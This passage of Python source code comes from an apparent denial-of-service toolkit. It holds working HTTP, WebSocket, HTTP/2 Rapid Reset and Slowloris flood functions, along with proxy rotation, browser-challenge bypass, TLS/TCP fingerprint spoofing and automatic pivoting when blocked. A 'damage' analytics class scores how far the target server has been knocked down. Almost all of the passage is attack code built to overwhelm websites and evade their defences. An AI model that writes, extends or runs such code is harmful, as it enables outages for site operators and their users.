base,
paths=["/.well-known/openid-configuration"],
workers=workers, duration=duration, logger=logger
),
"cache_test" : lambda: cache_bypass_flood(base, workers=workers, duration=duration, logger=logger),
}
attack_stats = {}
attack_threads = []
for ep in exposed:
if ep not in attack_map:
continue
print(f"\n ▶ Attacking: {ep} → {probes.get(ep, '')}")
def _run_attack(endpoint=ep):
try:
result = attack_map[endpoint]()
attack_stats[endpoint] = result
except Exception as ex:
attack_stats[endpoint] = {"error": str(ex)}
t = threading.Thread(target=_run_attack, daemon=True)
attack_threads.append(t)
t.start()
# Small stagger between attack launches to avoid overwhelming own network
time.sleep(0.5)
# Wait for all attacks to complete
for t in attack_threads:
t.join(timeout=duration + 15)
# ── ── ── ── ── ── ── ── ── ── ── ── ── ──
# Final Report
# ── ── ── ── ── ── ── ── ── ── ── ── ── ──
print("\n" + "=" * 60)
print(" ✅ ATTACK COMPLETE — Final Statistics")
print("=" * 60)
for ep, stats in attack_stats.items():
if isinstance(stats, dict) and "error" not in stats:
sent = stats.get("sent", stats.get("packets", "?"))
ok = stats.get("ok", stats.get("bypass", "?"))
print(f" {ep:<16} Sent={sent} OK/Bypass={ok}")
elif isinstance(stats, dict) and "error" in stats:
print(f" {ep:<16} ERROR: {stats['error']}")
if logger:
logger.info("wordpress_recon_and_attack complete. Exposed=%d Attacked=%d",
len(exposed), len(attack_stats))
return {
"results" : results,
"exposed" : exposed,
"attacks" : attack_stats,
}
# ============================================================================
# NEW ATTACK VECTORS - CRITICAL MISSING POWER FEATURES
# ============================================================================
class ProxyRotationEngine:
"""Real proxy/SOCKS5 rotation engine with health checking and dead-proxy removal"""
def __init__(self, proxy_file: str = "", proxy_list: list = None):
self.proxies = list(proxy_list) if proxy_list else []
self.dead_proxies = set()
self.lock = threading.Lock()
self.current_index = 0
self.usage_count = defaultdict(int)
if proxy_file and os.path.isfile(proxy_file):
self.proxies = load_proxy_list(proxy_file)
def add_proxy(self, proxy: str):
with self.lock:
if proxy not in self.proxies:
self.proxies.append(proxy)
def get_next(self) -> str:
with self.lock:
alive = [p for p in self.proxies if p not in self.dead_proxies]
if not alive:
return None
self.current_index = (self.current_index + 1) % len(alive)
proxy = alive[self.current_index]
self.usage_count[proxy] += 1
return proxy
def get_random_proxy(self) -> str:
with self.lock:
alive = [p for p in self.proxies if p not in self.dead_proxies]
return random.choice(alive) if alive else None
def mark_dead(self, proxy: str):
with self.lock:
self.dead_proxies.add(proxy)
def mark_alive(self, proxy: str):
with self.lock:
self.dead_proxies.discard(proxy)
def get_proxy_dict(self, proxy: str = None) -> dict:
p = proxy or self.get_next()
if not p:
return {}
if p.startswith("socks"):
return {"http": p, "https": p}
elif p.startswith("http"):
return {"http": p, "https": p}
else:
return {"http": f"http://{p}", "https": f"http://{p}"}
def get_urllib_proxy_handler(self, proxy: str = None):
proxy_dict = self.get_proxy_dict(proxy)
if not proxy_dict:
return None
return urllib.request.ProxyHandler(proxy_dict)
def health_check(self, proxy: str, timeout: int = 5) -> bool:
try:
proxy_dict = self.get_proxy_dict(proxy)
handler = urllib.request.ProxyHandler(proxy_dict)
opener = urllib.request.build_opener(handler)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request("https://httpbin.org/ip",
headers={"User-Agent": "Mozilla/5.0"})
resp = opener.open(req, timeout=timeout, context=ctx)
return resp.status == 200
except Exception:
return False
def check_all_async(self):
"""Check all proxies in parallel threads"""
def _check(proxy):
if self.health_check(proxy):
self.mark_alive(proxy)
else:
self.mark_dead(proxy)
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
executor.map(_check, list(self.proxies))
@property
def alive_count(self) -> int:
return len(self.proxies) - len(self.dead_proxies)
@property
def total_count(self) -> int:
return len(self.proxies)
async def websocket_flood(target_url: str, connections: int = 1000,
duration: float = 60, message_size: int = 4096,
logger=None):
"""WebSocket connection exhaustion + message flood"""
try:
import websockets
except ImportError:
print("[!] websockets not installed. pip install websockets")
return
ws_url = target_url.replace("https://", "wss://").replace("http://", "ws://")
if not ws_url.startswith("ws"):
ws_url = f"wss://{ws_url}"
stats = {"connected": 0, "messages_sent": 0, "errors": 0, "bytes_sent": 0}
start_time = time.monotonic()
async def ws_worker(worker_id):
while time.monotonic() - start_time < duration:
try:
async with websockets.connect(
ws_url,
additional_headers={"User-Agent": random.choice(USER_AGENTS)},
close_timeout=2,
open_timeout=5,
ping_interval=None
) as ws:
stats["connected"] += 1
while time.monotonic() - start_time < duration:
payload = os.urandom(message_size)
await ws.send(payload)
stats["messages_sent"] += 1
stats["bytes_sent"] += message_size
await asyncio.sleep(0.001)
except Exception:
stats["errors"] += 1
await asyncio.sleep(0.1)
print(f"[WS] Starting WebSocket flood: {ws_url}, workers={connections}, duration={duration}s")
tasks = [asyncio.create_task(ws_worker(i)) for i in range(connections)]
await asyncio.gather(*tasks, return_exceptions=True)
elapsed = time.monotonic() - start_time
mps = stats["messages_sent"] / elapsed if elapsed > 0 else 0
print(f"[WS] Complete: {stats['messages_sent']} msgs ({mps:.0f}/s), "
f"{stats['bytes_sent']/1024/1024:.1f} MB, "
f"{stats['connected']} conns, {stats['errors']} errs, {elapsed:.1f}s")
async def h2_rapid_reset_attack(target: str, streams_per_connection: int = 100,
connections: int = 50, duration: float = 60):
"""HTTP/2 Rapid Reset (CVE-2023-44487) - sends HEADERS then RST_STREAM immediately.
Exhausts server stream allocation without consuming bandwidth."""
if not HTTPX_AVAILABLE:
print("[!] httpx required for HTTP/2 Rapid Reset. pip install httpx[http2]")
return
stats = {"streams_reset": 0, "errors": 0}
start_time = time.monotonic()
async def reset_worker(worker_id):
while time.monotonic() - start_time < duration:
try:
async with httpx.AsyncClient(
http2=True, verify=False,
timeout=httpx.Timeout(5.0, connect=3.0),
limits=httpx.Limits(max_connections=10, max_keepalive_connections=5)
) as client:
for _ in range(streams_per_connection):
if time.monotonic() - start_time >= duration:
break
headers = {
"User-Agent": random.choice(USER_AGENTS),
"Accept": "*/*",
"Cache-Control": "no-cache",
f"X-Pad-{random.randint(1,9999)}": os.urandom(16).hex(),
}
task = asyncio.create_task(client.get(target, headers=headers))
await asyncio.sleep(0.0005)
if not task.done():
task.cancel()
stats["streams_reset"] += 1
except Exception:
stats["errors"] += 1
await asyncio.sleep(0.02)
print(f"[H2-RST] HTTP/2 Rapid Reset: {target}, conns={connections}, "
f"streams/conn={streams_per_connection}")
workers = [asyncio.create_task(reset_worker(i)) for i in range(connections)]
await asyncio.gather(*workers, return_exceptions=True)
elapsed = time.monotonic() - start_time
rps = stats["streams_reset"] / elapsed if elapsed > 0 else 0
print(f"[H2-RST] Complete: {stats['streams_reset']} resets ({rps:.0f}/s), "
f"errors: {stats['errors']}, {elapsed:.1f}s")
async def async_slowloris_attack(host: str, port: int = 80, connections: int = 10000,
duration: float = 300):
"""Async Slowloris - holds 10,000+ connections using asyncio (vs ~1000 with threads)"""
stats = {"active": 0, "total_opened": 0, "keepalive_rounds": 0, "refilled": 0}
writers = []
start_time = time.monotonic()
async def open_connection():
try:
if port == 443:
ssl_ctx = ssl.create_default_context()
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
reader, writer = await asyncio.wait_for(
asyncio.open_connection(host, port, ssl=ssl_ctx), timeout=5)
else:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(host, port), timeout=5)
path = random.choice(["/", "/index.html", "/api", "/login", "/search"])
header = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: {random.choice(USER_AGENTS)}\r\n"
f"Accept: {random.choice(REALISTIC_ACCEPTS)}\r\n"
f"Connection: keep-alive\r\n"
f"Content-Length: 100000\r\n"
)
writer.write(header.encode())
await writer.drain()
stats["total_opened"] += 1
stats["active"] += 1
return writer
except Exception:
return None
# Phase 1: Open connections in batches
batch_size = min(500, connections)
for batch_start in range(0, connections, batch_size):
if time.monotonic() - start_time >= duration:
break
batch_end = min(batch_start + batch_size, connections)
tasks = [open_connection() for _ in range(batch_end - batch_start)]
results = await asyncio.gather(*tasks, return_exceptions=True)
for w in results:
if w and not isinstance(w, Exception):
writers.append(w)
print(f"[Async-Slowloris] Opened {len(writers)}/{connections} sockets")
print(f"[Async-Slowloris] Phase 1: {len(writers)} active sockets held open")
# Phase 2: Keep-alive loop - send partial headers to keep connections alive
while time.monotonic() - start_time < duration and writers:
stats["keepalive_rounds"] += 1
dead = []
for writer in writers:
try:
header = f"X-Req-{random.randint(1,9999)}: {random.randint(1,9999)}\r\n"
writer.write(header.encode())
await writer.drain()
except Exception:
dead.append(writer)
stats["active"] -= 1
for d in dead:
writers.remove(d)
try:
d.close()
except Exception:
pass
# Refill dead slots
refill = min(len(dead), connections - len(writers))
if refill > 0:
tasks = [open_connection() for _ in range(refill)]
results = await asyncio.gather(*tasks, return_exceptions=True)
for w in results:
if w and not isinstance(w, Exception):
writers.append(w)
stats["refilled"] += 1
if stats["keepalive_rounds"] % 3 == 0:
print(f"[Async-Slowloris] Round {stats['keepalive_rounds']} | "
f"Active: {len(writers)} | Opened: {stats['total_opened']}")
await asyncio.sleep(random.uniform(8, 12))
for w in writers:
try:
w.close()
except Exception:
pass
elapsed = time.monotonic() - start_time
print(f"[Async-Slowloris] Complete: {elapsed:.1f}s, {stats['total_opened']} total, "
f"{stats['keepalive_rounds']} rounds, {stats['refilled']} refilled")
async def doh_resolve(domain: str, dns_server: str = "https://1.1.1.1/dns-query") -> list:
"""DNS-over-HTTPS resolver - prevents target info leaking to ISP DNS"""
try:
if HTTPX_AVAILABLE:
async with httpx.AsyncClient(verify=False, timeout=5.0) as client:
resp = await client.get(
dns_server,
params={"name": domain, "type": "A"},
headers={"Accept": "application/dns-json"}
)
data = resp.json()
return [ans["data"] for ans in data.get("Answer", []) if ans.get("type") == 1]
else:
url = f"{dns_server}?name={domain}&type=A"
req = urllib.request.Request(url, headers={
"Accept": "application/dns-json", "User-Agent": "Mozilla/5.0"
})
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with urllib.request.urlopen(req, context=ctx, timeout=5) as resp:
data = json.loads(resp.read())
return [ans["data"] for ans in data.get("Answer", []) if ans.get("type") == 1]
except Exception:
return []
def multiprocess_attack_launcher(target: str, total_workers: int, duration: int,
attack_kwargs: dict, cores: int = None):
"""Launch attack across multiple OS processes to bypass Python GIL.
Each process gets its own event loop with (total_workers / cores) async workers."""
import multiprocessing
cores = cores or min(multiprocessing.cpu_count(), 8)
workers_per_core = max(10, total_workers // cores)
def process_worker(proc_id, n_workers, dur, kwargs):
import asyncio
kwargs = dict(kwargs)
kwargs["threads"] = n_workers
kwargs["duration"] = dur
engine = UltimateIntegratedEngine(**kwargs)
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
loop.run_until_complete(engine.start_attack())
except KeyboardInterrupt:
engine.stop()
finally:
loop.close()
processes = []
print(f"[MP] Launching {cores} processes × {workers_per_core} workers = "
f"{cores * workers_per_core} total workers")
for i in range(cores):
p = multiprocessing.Process(
target=process_worker,
args=(i, workers_per_core, duration, attack_kwargs),
daemon=True
)
p.start()
processes.append(p)
print(f"[MP] Process {i} started (PID: {p.pid})")
try:
for p in processes:
p.join(timeout=duration + 30 if duration > 0 else None)
except KeyboardInterrupt:
print("[MP] Interrupt - terminating all processes...")
for p in processes:
p.terminate()
alive = sum(1 for p in processes if p.is_alive())
print(f"[MP] All processes finished ({alive} still alive)")
for p in processes:
if p.is_alive():
p.terminate()
class OptimizedConnectionPool:
"""Manages connection pooling with HTTP/2 support."""
def __init__(self, max_connections: int = 100):
self.max_connections = max_connections
self.pool = {}
self.lock = threading.Lock()
def get_client(self, target_host: str):
"""Get or create HTTP/2 client for a target host."""
with self.lock:
if target_host not in self.pool:
try:
client = cffi_requests.Session() if CURL_CFFI_AVAILABLE else None
self.pool[target_host] = {
"client": client,
"created_at": time.time(),
"request_count": 0,
}
except Exception:
self.pool[target_host] = {"client": None, "created_at": time.time(), "request_count": 0}
self.pool[target_host]["request_count"] += 1
return self.pool[target_host]["client"]
class EnhancedPlaywrightBypass:
"""Improved Playwright bypass with human-like interactions."""
@staticmethod
def solve_js_challenge(url: str, headless: bool = False) -> dict:
result = {"headers": {}, "cookie_header": "", "content": ""}
try:
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch(headless=headless)
device = random.choice([
p.devices["Desktop Chrome"],
p.devices["Desktop Firefox"],
p.devices["iPhone 13"],
])
context = browser.new_context(**device)
page = context.new_page()
page.set_viewport_size({"width": random.randint(1366, 1920), "height": random.randint(768, 1080)})
page.goto(url, wait_until="networkidle", timeout=30000)
time.sleep(random.uniform(1, 3))
page.mouse.move(random.randint(100, 500), random.randint(100, 500))
time.sleep(random.uniform(0.5, 2))
try:
page.wait_for_selector("[name*='challenge'], [id*='challenge'], [class*='challenge']", timeout=5000)
except Exception:
pass
time.sleep(random.uniform(2, 5))
result["content"] = page.content()
result["headers"] = {
"User-Agent": device.get("user_agent", random.choice(USER_AGENTS)),
"Accept-Language": device.get("locale", "en-US,en;q=0.9"),
"Accept": device.get("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1",
"Sec-CH-UA": device.get("user_agent", "\"Chromium\";v=\"124\""),
"Sec-CH-UA-Mobile": device.get("mobile", "?0"),
"Sec-CH-UA-Platform": device.get("platform", "Windows"),
}
cookies = context.cookies()
if cookies:
result["cookie_header"] = "; ".join(f"{c['name']}={c['value']}" for c in cookies if c.get('name') and c.get('value'))
browser.close()
except Exception:
pass
return result
def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
mode_name = "http-app" if app_mode else "http"
connection_mode = "keepalive" if keepalive else "single-connection"
evasion_features = []
if identity_pool:
evasion_features.append("identity-rotation")
if human_timing:
evasion_features.append("human-entropy")
if use_cffi and CURL_CFFI_AVAILABLE:
evasion_features.append("tls-spoof")
evasion_str = f", evasion=[{', '.join(evasion_features)}]" if evasion_features else ""
print(f"Starting HTTP flood: {method} {url}, workers={workers}, mode={mode_name}, connection={connection_mode}{evasion_str}")
start_time = time.monotonic()
statuses = {}
latencies = []
futures = []
human_timer = HumanTimer(base_delay=0.5) if human_timing else None
if ai_payload:
AIPayloadGenerator.learn_from_target(url)
current_url = url
current_method = method
current_ai_payload = ai_payload
adaptation_count = 0
alt_targets = []
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, context=ctx, timeout=5) as resp:
html = resp.read().decode('utf-8', errors='ignore')
api_paths = re.findall(r'["\'](/[\w-]+/[^"\']*|/[^"\']*\.php[^"\']*)["\']', html)
api_paths = [p for p in api_paths if not p.endswith(('.css', '.js', '.png', '.jpg', '.jpeg', '.svg', '.gif', '.ico'))]
parsed_url = urllib.parse.urlparse(url)
if parsed_url.hostname:
parts = parsed_url.hostname.split('.')
base_domain = ".".join(parts[-2:]) if len(parts) >= 2 else parsed_url.hostname
subdomains = re.findall(r'https?://([a-zA-Z0-9.-]+\.' + re.escape(base_domain) + r')', html)
else:
subdomains = []
for alt in set(api_paths + subdomains):
if alt.startswith('/'):
alt_targets.append(f"{parsed_url.scheme}://{parsed_url.netloc}{alt}")
elif alt.startswith('http'):
alt_targets.append(alt)
except Exception:
pass
rate_limiter = RateLimitHandler()
header_rotator = AdvancedHeaderRotator()
delay_engine = AdaptiveDelayEngine()
conn_pool = OptimizedConnectionPool()
captcha_solver = CAPTCHASolver()
def _worker_task(url, method, payload, headers, extra_headers, timeout, playwright_headers, random_query, app_mode, identity, ai_payload, do_tcp_spoof):
if human_timer:
time.sleep(human_timer.next_delay())
if use_js_bypass:
url = add_api_bypass(url)
base_headers = build_http_headers(extra_headers, keepalive=False, playwright_headers=playwright_headers, identity=identity)
enhanced_headers = header_rotator.get_obfuscated_headers(base_headers)
if do_tcp_spoof:
parsed = urllib.parse.urlparse(url)
host = parsed.hostname or "127.0.0.1"
port = parsed.port or (443 if parsed.scheme == "https" else 80)
os_name = "windows"
if identity and identity.profile.get("platform") == "macOS":
os_name = "macos"
TCPFingerprinter.send_spoofed_syn(host, port, os_name=os_name, count=1)
max_retries = 4
for attempt in range(max_retries):
try:
if use_cffi and CURL_CFFI_AVAILABLE and identity:
status, latency = cffi_http_request(url, method, payload, identity, timeout, random_query, app_mode)
elif keepalive:
status, latency = keepalive_http_request(url, method, payload, enhanced_headers, timeout, playwright_headers, random_query, app_mode, identity)
else:
status, latency = http_request(url, method, payload, enhanced_headers, timeout, playwright_headers, random_query, app_mode, identity, ai_payload)
if isinstance(status, str) and status.isdigit():
status = int(status)
if status in (403, 429, 503) and use_playwright and attempt < max_retries - 1:
bypass = EnhancedPlaywrightBypass.solve_js_challenge(url, headless=True)
if bypass.get("headers"):
enhanced_headers.update(bypass["headers"])
if bypass.get("cookie_header"):
enhanced_headers["Cookie"] = bypass["cookie_header"]
time.sleep(random.uniform(1.0, 2.5))
continue
delay_engine.update_success_rate(status)
if rate_limiter.should_retry(status):
rate_limiter.on_rate_limit()
if attempt < max_retries - 1:
continue
else:
rate_limiter.reset()
return (status, latency)
except Exception:
if attempt < max_retries - 1:
time.sleep(delay_engine.next_delay() * 2)
continue
return ("ERROR", 0)
def submit_request(executor):
identity = identity_pool.get_identity() if identity_pool else None
playwright_headers = get_random_playwright_headers() if use_playwright else None
return executor.submit(
_worker_task,
current_url, current_method, payload, extra_headers, extra_headers, 5,
playwright_headers, random_query, app_mode, identity, current_ai_payload, tcp_spoof
)
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
if duration is None and total_requests <= 0:
total_requests = max(100000, workers * 1000)
print(f"[!] No explicit request limit set; using default flood count of {total_requests} requests.")
if duration and duration > 0:
end_time = start_time + duration
sent = 0
if rate and rate > 0:
interval = 1.0 / rate
next_submission = start_time
while time.monotonic() < end_time and (total_requests <= 0 or sent < total_requests):
now = time.monotonic()
if now < next_submission:
time.sleep(max(0, next_submission - now))
futures.append(submit_request(executor))
sent += 1
next_submission += interval
else:
while time.monotonic() < end_time and (total_requests <= 0 or sent < total_requests):
futures.append(submit_request(executor))
sent += 1
print(f"Submitted {sent} requests in {time.monotonic() - start_time:.1f}s")
else:
for i in range(total_requests):
futures.append(submit_request(executor))
print(f"Submitted {total_requests} requests to thread pool.")
completed = 0
success_live = 0
blocked_live = 0
BLOCKED_CODES = {"403", "429", "503", "HTTP 403", "HTTP 429", "HTTP 503", "TARPIT_DETECTED"}
for future in concurrent.futures.as_completed(futures):
status, latency = future.result()
status_str = str(status)
statuses[status_str] = statuses.get(status_str, 0) + 1
if isinstance(latency, float):
latencies.append(latency)
completed += 1
if status_str.isdigit() and 200 <= int(status_str) < 400:
success_live += 1
elif status_str in BLOCKED_CODES or (status_str.startswith("HTTP 4") or status_str.startswith("HTTP 5")):
blocked_live += 1
if completed % 20 == 0:
total_meaningful = success_live + blocked_live
if total_meaningful > 0:
block_ratio = (blocked_live / total_meaningful) * 100
else:
block_ratio = 0.0
if block_ratio >= 70:
shield = "RED"
msg = "🔴 BLOCKED"
elif block_ratio >= 30:
shield = "YELLOW"
msg = "🟡 MITIGATED"
else:
shield = "GREEN"
msg = "🟢 SUCCESS"
print(f"[Live] Progress: {completed}/{total_requests} | {msg} (Block Rate: {block_ratio:.1f}%) | Success: {success_live}, Blocked: {blocked_live}")
if block_ratio >= 70:
adaptation_count += 1
print(f"\n[🧠 AI] High block rate! Mutation #{adaptation_count}...")
if alt_targets:
current_url = random.choice(alt_targets)
print(f"[🧠 AI] Auto-Pivot to: {current_url}")
else:
base = current_url.split('?')[0] if '?' in current_url else current_url
current_url = base + f"?_={random.randint(100000,999999)}&cb={random.randint(1,9999)}"
print(f"[🧠 AI] Cache-bust: {current_url}")
if current_method == "GET":
current_method = "POST"
current_ai_payload = True
print(f"[🧠 AI] Switched to POST + AI Payloads")
if identity_pool:
identity_pool._identities.clear()
print(f"[🧠 AI] Flushed identities, regenerating...")
print(f"[🧠 AI] Mutation #{adaptation_count} applied.\n")
elapsed = time.monotonic() - start_time
success_count = sum(count for status, count in statuses.items() if status.isdigit() and 200 <= int(status) < 400)
error_count = sum(count for status, count in statuses.items() if not (status.isdigit() and 200 <= int(status) < 400))
tarpit_count = statuses.get("TARPIT_DETECTED", 0)
logger.info("HTTP flood complete: %d requests, %d success, %d errors, %d tarpits", sum(statuses.values()), success_count, error_count, tarpit_count)
if latencies:
stats = calculate_latency_stats([l * 1000 for l in latencies])
logger.info("Latency ms: avg=%.2f p50=%.2f p95=%.2f p99=%.2f", stats["average"], stats["p50"], stats["p95"], stats["p99"])
print(f"HTTP load complete. Elapsed: {elapsed:.2f}s | Requests: {sum(statuses.values())} | Success: {success_count} | Error: {error_count}")
def calculate_latency_stats(latencies: list) -> dict:
if not latencies:
return {"min": 0.0, "max": 0.0, "average": 0.0, "p50": 0.0, "p95": 0.0, "p99": 0.0}
sorted_data = sorted(latencies)
n = len(sorted_data)
min_val = sorted_data[0]
max_val = sorted_data[-1]
avg_val = sum(sorted_data) / n
def get_percentile(p: float) -> float:
idx = (n - 1) * p
low_idx = int(idx)
high_idx = low_idx + 1 if low_idx + 1 < n else low_idx
if low_idx == high_idx:
return sorted_data[low_idx]
fraction = idx - low_idx
return sorted_data[low_idx] + fraction * (sorted_data[high_idx] - sorted_data[low_idx])
return {"min": min_val, "max": max_val, "average": avg_val, "p50": get_percentile(0.50), "p95": get_percentile(0.95), "p99": get_percentile(0.99)}
# ============================================================================
# نظام مراقبة الفاعلية المباشر (LIVE ANALYTICS ENGINE)
# ============================================================================
class LiveAnalyticsEngine:
"""نظام مراقبة الفاعلية المباشر - يقيس مقدار الضرر واستجابة الخادم"""
def __init__(self, max_history: int = 120):
self.lock = threading.Lock()
self.start_time = time.monotonic()
self.max_history = max_history
self.latencies = []
self.latency_history = []
self.status_codes = defaultdict(int)
self.rps_history = []
self.damage_history = []
self._request_timestamps = []
self.consecutive_errors = 0
self.consecutive_success = 0
self.server_down_events = 0
self.first_503_time = None
self.total_downtime_seconds = 0.0
self._down_since = None
self._last_snapshot = time.monotonic()
self._snap_interval = 1.0
self._p_reqs = 0
self._p_lats = []
self._p_codes = defaultdict(int)
def record(self, status_code: int, latency_ms: float):
now = time.monotonic()
elapsed = now - self.start_time
with self.lock:
self.latencies.append(latency_ms)
if len(self.latencies) > 10000:
self.latencies = self.latencies[-5000:]
self.status_codes[status_code] += 1
self._request_timestamps.append(now)
cutoff = now - 5.0
self._request_timestamps = [t for t in self._request_timestamps if t > cutoff]
if status_code in (0, 500, 502, 503, 504, 520, 521, 522, 523, 524):
self.consecutive_errors += 1
self.consecutive_success = 0
if self._down_since is None:
self._down_since = now
self.server_down_events += 1
if self.first_503_time is None:
self.first_503_time = elapsed
elif 200 <= status_code < 400:
self.consecutive_success += 1
self.consecutive_errors = 0
if self._down_since is not None:
self.total_downtime_seconds += (now - self._down_since)
self._down_since = None
self._p_reqs += 1
self._p_lats.append(latency_ms)
self._p_codes[status_code] += 1
if now - self._last_snapshot >= self._snap_interval:
self._snapshot(now, elapsed)
def _snapshot(self, now, elapsed):
dur = now - self._last_snapshot
rps = self._p_reqs / dur if dur > 0 else 0
self.rps_history.append((elapsed, rps))
avg_lat = sum(self._p_lats) / len(self._p_lats) if self._p_lats else 0
self.latency_history.append((elapsed, avg_lat))
self.damage_history.append((elapsed, self._calc_damage()))
for h in (self.rps_history, self.latency_history, self.damage_history):
while len(h) > self.max_history:
h.pop(0)
self._last_snapshot = now
self._p_reqs = 0
self._p_lats = []
self._p_codes = defaultdict(int)
def _calc_damage(self) -> float:
total = sum(self.status_codes.values())
if total == 0:
return 0.0
score = 0.0
srv_err = sum(self.status_codes.get(c, 0) for c in [0, 500, 502, 503, 504, 520, 521, 522, 523, 524])
score += (srv_err / total) * 40
if self.latencies:
recent = self.latencies[-200:]
avg = sum(recent) / len(recent)
if avg > 4000: score += 30
elif avg > 2000: score += 20
elif avg > 1000: score += 15
elif avg > 500: score += 10
elif avg > 200: score += 5
# Add damage points for sheer volume (Bandwidth Exhaustion)
if self.rps_history:
recent_rps = self.rps_history[-1][1] if self.rps_history else 0
if recent_rps > 2000: score += 20
elif recent_rps > 1000: score += 15
elif recent_rps > 500: score += 10
elif recent_rps > 100: score += 5
if self.consecutive_errors > 50: score += 20
elif self.consecutive_errors > 20: score += 15
elif self.consecutive_errors > 10: score += 10
elif self.consecutive_errors > 5: score += 5
score += min(15, self.server_down_events * 3)
return min(100.0, score)
def get_analytics(self) -> dict:
with self.lock:
total = sum(self.status_codes.values())
elapsed = time.monotonic() - self.start_time
if self.latencies:
s = sorted(self.latencies[-1000:])
n = len(s)
lat = {'min': s[0], 'max': s[-1], 'avg': sum(s)/n,
'p50': s[int(n*0.5)], 'p95': s[min(int(n*0.95),n-1)],
'p99': s[min(int(n*0.99),n-1)], 'current': self.latencies[-1]}
else:
lat = {k: 0 for k in ('min','max','avg','p50','p95','p99','current')}
now = time.monotonic()
recent = [t for t in self._request_timestamps if t > now - 5.0]
cur_rps = len(recent) / 5.0 if recent else 0
avg_rps = total / elapsed if elapsed > 0 else 0
peak_rps = max((r for _, r in self.rps_history), default=0)
success = sum(self.status_codes.get(c, 0) for c in range(200, 400))
srv_err = sum(self.status_codes.get(c, 0) for c in [0, 500, 502, 503, 504, 520, 521, 522, 523, 524])
cli_err = sum(self.status_codes.get(c, 0) for c in [400, 401, 403, 404, 429])
damage = self._calc_damage()
if self.consecutive_errors > 10: health = "🔴 DOWN"
elif self.consecutive_errors > 5: health = "🟠 DEGRADED"
elif self.consecutive_errors > 2: health = "🟡 STRESSED"
elif total > 0: health = "🟢 RESPONDING"
else: health = "⚪ UNKNOWN"
return {
'total': total, 'elapsed': elapsed, 'latency': lat,
'rps': {'current': cur_rps, 'average': avg_rps, 'peak': peak_rps},
'status_codes': dict(self.status_codes), 'success': success,
'server_errors': srv_err, 'client_errors': cli_err,
'damage': damage, 'health': health,
'consecutive_errors': self.consecutive_errors,
'down_events': self.server_down_events,
'downtime': self.total_downtime_seconds,
'first_error_at': self.first_503_time,
'rps_history': list(self.rps_history[-60:]),
'latency_history': list(self.latency_history[-60:]),
'damage_history': list(self.damage_history[-60:]),
}
def async_http_flood(url: str, total_requests: int, concurrency: int, method: str, payload: str, duration: float, identity_pool=None, random_query: bool = True, app_mode: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
if not HTTPX_AVAILABLE and not CURL_CFFI_AVAILABLE:
print("[!] httpx and curl_cffi are both unavailable. Falling back to threading...")
return False
async def _run():
rate_limiter = RateLimitHandler()
header_rotator = AdvancedHeaderRotator()
delay_engine = AdaptiveDelayEngine()
max_connections = min(concurrency, 100)
max_keepalive = min(concurrency, 50)
limits = httpx.Limits(max_connections=max_connections,
max_keepalive_connections=max_keepalive,
keepalive_expiry=30)
if CURL_CFFI_AVAILABLE:
client = cffi_requests.AsyncSession(impersonate=random.choice(["chrome124", "firefox125"]), verify=False, timeout=10)
else:
client = httpx.AsyncClient(http2=True, limits=limits, timeout=httpx.Timeout(10.0), verify=False, follow_redirects=True)
sem = asyncio.Semaphore(concurrency)
statuses = {}
latencies = []
completed = 0
success_count = 0
blocked_count = 0
async def do_request():
nonlocal completed, success_count, blocked_count
identity = identity_pool.get_identity() if identity_pool else None
hdrs = identity.get_headers(keepalive=True) if identity else {"User-Agent": random.choice(USER_AGENTS), "Accept": random.choice(REALISTIC_ACCEPTS), "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
hdrs = header_rotator.get_obfuscated_headers(hdrs)
req_url = normalize_http_url(url, app_mode, random_query)
if use_js_bypass:
req_url = add_api_bypass(req_url)
parsed = urllib.parse.urlparse(req_url)
if parsed.hostname:
hdrs["Host"] = parsed.hostname
data = None
if method == "POST":
if ai_payload:
body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
hdrs["Content-Type"] = "application/json"
else:
body = payload or "message=payload"
hdrs["Content-Type"] = "application/x-www-form-urlencoded"
data = body.encode("utf-8") if isinstance(body, str) else body
async with sem:
start = time.monotonic()
try:
if method == "POST":
resp = await client.post(req_url, headers=hdrs, content=data)
else:
resp = await client.get(req_url, headers=hdrs)
elapsed = time.monotonic() - start
s = str(resp.status_code)
statuses[s] = statuses.get(s, 0) + 1
latencies.append(elapsed)
completed += 1
delay_engine.update_success_rate(resp.status_code)
if rate_limiter.should_retry(resp.status_code):
rate_limiter.on_rate_limit()
await asyncio.sleep(rate_limiter.backoff_delay())
else:
rate_limiter.reset()
if 200 <= resp.status_code < 400:
success_count += 1
elif resp.status_code in (403, 429, 503):
blocked_count += 1
if completed % 200 == 0:
total = success_count + blocked_count
br = (blocked_count / total * 100) if total > 0 else 0
e = "🟢" if br < 30 else "🟡" if br < 70 else "🔴"
rps = completed / (time.monotonic() - flood_start) if (time.monotonic() - flood_start) > 0 else 0
print(f"[Async] {e} {completed} done | RPS: {rps:.0f} | OK: {success_count} | Blocked: {blocked_count}")
except Exception as exc:
err = type(exc).__name__
statuses[err] = statuses.get(err, 0) + 1
completed += 1
flood_start = time.monotonic()
if duration and duration > 0:
end_time = flood_start + duration
tasks = []
while time.monotonic() < end_time:
batch = [asyncio.create_task(do_request()) for _ in range(min(concurrency, 500))]
tasks.extend(batch)
